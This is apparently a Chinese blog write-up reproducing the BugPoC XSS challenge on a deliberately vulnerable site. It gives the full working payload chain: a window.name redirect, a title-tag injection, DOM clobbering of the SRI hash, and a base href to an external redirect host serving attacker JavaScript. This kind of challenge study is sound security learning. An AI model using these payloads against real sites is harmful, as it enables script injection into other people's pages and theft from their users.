记一次xss-challenge的复现

看了一篇xss的帖子,自己对xss方面比较垃圾,跟着文章学习一下

题目链接

https://wacky.buggywebsite.com/

题目界面

image-20201118194444163

大致的功能就是可以将输入的字符进行”美化“,其实就是换了个颜色。。。。然后右键查看源代码,有一个<iframe>标签,访问对应的链接,

image-20201118194630150

image-20201119101858849

提示当前页面只能在iframe里面看,然后右键查看源代码,其中关键的一段如下,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
</script>

<script nonce="ygdsnjslxhwp">

window.fileIntegrity = window.fileIntegrity || {
'rfc' : ' https://w3c.github.io/webappsec-subresource-integrity/',
'algorithm' : 'sha256',
'value' : 'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=',
'creationtime' : 1602687229
}

// verify we are in an iframe
if (window.name == 'iframe') {

// securely load the frame analytics code
if (fileIntegrity.value) {

// create a sandboxed iframe
analyticsFrame = document.createElement('iframe');
analyticsFrame.setAttribute('sandbox', 'allow-scripts allow-same-origin');
analyticsFrame.setAttribute('class', 'invisible');
document.body.appendChild(analyticsFrame);

// securely add the analytics code into iframe
script = document.createElement('script');
script.setAttribute('src', 'files/analytics/js/frame-analytics.js');
script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
script.setAttribute('crossorigin', 'anonymous');
analyticsFrame.contentDocument.body.appendChild(script);

}

} else {
document.body.innerHTML = `
<h1>Error</h1>
<h2>This page can only be viewed from an iframe.</h2>
<video width="400" controls>
<source src="movie.mp4" type="video/mp4">
</video>`
}

</script>

只有在window.nameiframe时才会创建一个iframe标签,只可以通过如下payload来绕过,

1
2
3
4
<script>
window.name="iframe";
location.href = "https://wacky.buggywebsite.com/frame.html?param=xss";
</script>

并在<iframe>标签中添加了sandbox属性,

image-20201119142538319

之后还会添加一个script标签到其中,其中src是采用的相对路径,还利用了integrity来确保资源的完整性。之后我们寻找https://wacky.buggywebsite.com/frame.html?param=xss链接中的xss注入点,发现可以通过</title>标签来闭合前面的标签,然后插入html代码,

image-20201119105856645

但是因为存在CSP,不能执行

image-20201119110041168

查看对应的CSP

1
script-src 'nonce-syvmzvejfjgs' 'strict-dynamic'; frame-src 'self'; object-src 'none';

image-20201119110704352

可以插入<base>标签,url定义为我们自己的VPS,然后在files/analytics/js/frame-analytics.js中插入xss代码,因为源码中是将window.fileIntegrity.value来当<script>标签的integrity值,如下image-20201119111714068

Subresource Integrity

子资源完整性(SRI)是允许浏览器检查其获得的资源(例如从 CDN 获得的)是否被篡改的一项安全特性。它通过验证获取文件的哈希值是否和你提供的哈希值一样来判断资源是否被篡改。

将使用 base64 编码过后的文件哈希值写入你所引用的 <script><link> 标签的 integrity 属性值中即可启用子资源完整性功能。

integrity 值分成两个部分,第一部分指定哈希值的生成算法(目前支持 sha256、sha384 及 sha512),第二部分是经过 base64 编码的实际哈希值,两者之间通过一个短横(-)分割。

所以可以通过注入下面代码绕过,

1
<input id='fileIntegrity' value='aErQrfRCGgdInIpMEDCWj2%2bHQUab648smjdgPAUdBKU='>

image-20201119112037023

利用BugPoC生成payload。

1
2
3
4
{
"Access-Control-Allow-Origin":"*",
"Content-type":"text/javascript"
}

最后payload:

1
2
3
4
<script>
window.name="iframe";
location.href = "https://wacky.buggywebsite.com/frame.html?param=</title><input id='fileIntegrity' value='QkIPs1Inueee8IH+HXpScbWfI0zPgWJvCB9LGWZH/Wc='><base href='https://0vc3zrq6aqua.redir.bugpoc.ninja/'>";
</script>

image-20201119112858083

参考链接

BugPoc XSS Challenge

https://www.srihash.org/

https://developer.mozilla.org/zh-CN/docs/Web/Security/%E5%AD%90%E8%B5%84%E6%BA%90%E5%AE%8C%E6%95%B4%E6%80%A7